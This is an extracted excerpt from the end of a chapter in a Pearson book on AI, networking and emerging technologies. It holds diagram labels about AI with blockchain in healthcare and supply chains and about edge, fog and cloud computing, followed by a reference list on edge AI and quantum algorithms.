Figure 7-2  AI Processing and Analyzing Smart Contracts

M01_Santos et al_C01_p001-068.indd   63 21/04/24   3:01 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

Blockchain
Storage

AI Data
Aggregation

Pattern
Recognition

Treatment
Recommendation

Audit TrailFeedback Loop

Model Update

Data Privacy Healthcare
Providers

InteroperabilityImmutable Records

Data Preprocessing

Predictive Analysis

Dynamic Adjustment

Treatment Monitoring

Figure 7-3  AI and Blockchain in Healthcare

M01_Santos et al_C01_p001-068.indd   64 21/04/24   3:01 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

Movement of Goods in the Supply Chain

Smart
Contracts and
Inventory

Figure 7-4  AI and Blockchain in the Supply Chain

M01_Santos et al_C01_p001-068.indd   65 21/04/24   3:01 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

Goods Manufactured

Goods Recorded

Route Optimization Goods Shipped

Dynamic Pricing Goods Received

Automated
Warehousing

Inventory
Management

Payment via Smart
Contract

AI Blockchain

BlockchainAI

BlockchainAI

Blockchain

AI

Figure 7-5  Examples of AI and Blockchain Supply Chain Tasks

M01_Santos et al_C01_p001-068.indd   66 21/04/24   3:01 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

Fog

Cloud

Edge Billions

Millions

Thousands

Figure 7-6  Edge, Fog, and Cloud Computing Architecture

M01_Santos et al_C01_p001-068.indd   67 21/04/24   3:02 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

References
Hoffpauir, K., Simmons, J., Schmidt, N., et al. (2023). A survey on edge intelligence and light-
weight machine learning support for future applications and services. Journal of Data and 
Information Quality, 15(2), 20. https://doi.org/10.1145/3581759

Soro, S. (2020, September). TinyML for ubiquitous edge AI. MTR200519 MITRE Technical Report.

Laroui, M., Nour, B., Moungla, H., Cherif, M. A., Afifi, H., & Guizani, M. (2021). Edge and fog 
computing for IoT: A survey on current research activities & future directions. Computer 
Communications, 180, 210–231. https://doi.org/10.1016/j.comcom.2021.09.003

Shor, P. W. (n.d.). Polynomial-time algorithms for prime factorization and discrete logarithms 
on a quantum computer. arXiv. https://arxiv.org/abs/quant-ph/9508027

Grover, L. K. (n.d.). A fast quantum mechanical algorithm for database search. arXiv.  
https://arxiv.org/abs/quant-ph/9605043

Muradian, R. (n.d.). Quantum Fourier transform circuit. Wolfram Demonstrations Project.  
https://demonstrations.wolfram.com/QuantumFourierTransformCircuit/

Tilly, J., Chen, H., Cao, S., Picozzi, D., Setia, K., Li, Y., Grant, E., Wossnig, L., Rungger, I., Booth,  
G. H., & Tennyson, J. (n.d.). The variational quantum eigensolver: A review of methods and best 
practices. arXiv. https://arxiv.org/abs/2111.05176

Sanford, A. (n.d.). Developing a variational quantum eigensolver. Wolfram Community.  
https://community.wolfram.com/groups/-/m/t/2959959

Farhi, E., Goldstone, J., & Gutmann, S. (n.d.). A quantum approximate optimization algorithm. 
arXiv. https://arxiv.org/abs/1411.4028

Jordan, S. (n.d.). Algebraic and number theoretic algorithms. Quantum Algorithm Zoo.  
https://quantumalgorithmzoo.org/#phase_estimation

Fuchs, C. A., & Sasaki, M. (n.d.). Squeezing quantum information through a classical channel: 
Measuring the “quantumness” of a set of quantum states. arXiv. https://arxiv.org/abs/quant-
ph/0302092

Mr Asif. (n.d.). Quantum key distribution and BB84 protocol. Quantum Untangled.  
https://medium.com/quantum-untangled/quantum-key-distribution-and-bb84-protocol-
6f03cc6263c5

Roffe, J. (n.d.). Quantum error correction: An introductory guide. arXiv. https://arxiv.org/
abs/1907.11157

Lloyd, S., Mohseni, M., & Rebentrost, P. (n.d.). Quantum algorithms for supervised and  
unsupervised machine learning. arXiv. https://arxiv.org/abs/1307.0411

M01_Santos et al_C01_p001-068.indd   68 21/04/24   3:02 PM




